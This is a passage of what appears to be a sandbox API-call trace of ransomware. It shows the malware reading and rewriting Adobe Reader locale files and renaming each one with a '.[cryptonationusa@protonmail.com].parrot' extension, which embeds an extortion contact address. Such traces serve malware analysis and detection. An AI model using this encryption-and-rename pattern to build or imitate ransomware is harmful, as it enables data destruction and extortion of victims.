10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0256.632] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.632] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.633] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13c00, lpOverlapped=0x0) returned 1 [0256.637] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.640] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0256.655] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.655] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.678] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.678] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2e00, lpOverlapped=0x0) returned 1 [0256.680] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.682] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.688] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.692] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.692] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7e400, lpOverlapped=0x0) returned 1 [0256.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.731] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0256.743] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.743] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.745] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.745] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0256.844] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.844] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0256.848] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.848] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0256.851] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14a318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0256.851] CloseHandle (hObject=0x1b0) returned 1 [0256.852] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0256.867] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.867] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.868] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.868] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0256.869] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.870] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.876] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.876] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.878] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.878] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0256.879] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.879] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0256.888] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.888] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.890] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.890] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0256.891] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.891] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.897] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.898] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.899] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5c00, lpOverlapped=0x0) returned 1 [0256.899] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.900] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.905] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.905] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.906] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.906] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3c00, lpOverlapped=0x0) returned 1 [0256.907] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.907] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.912] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0256.913] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0256.913] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.913] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0256.913] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0256.913] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0256.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.914] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0256.915] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.915] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9049, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9049, lpOverlapped=0x0) returned 1 [0256.917] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.918] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0256.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0256.923] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.924] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0256.924] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.925] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe6, lpOverlapped=0x0) returned 1 [0256.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.925] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0256.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0256.930] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0256.930] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x252526c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x252526c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x252526c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9168, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0256.930] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.930] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.931] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 